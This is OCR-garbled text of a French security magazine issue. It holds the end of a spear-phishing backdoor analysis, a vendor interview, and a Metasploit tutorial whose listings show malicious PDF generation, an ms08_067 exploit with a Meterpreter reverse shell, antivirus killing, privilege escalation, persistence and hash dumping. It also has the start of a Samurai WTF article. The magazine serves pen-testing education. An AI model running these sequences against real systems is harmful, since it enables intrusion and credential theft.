Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

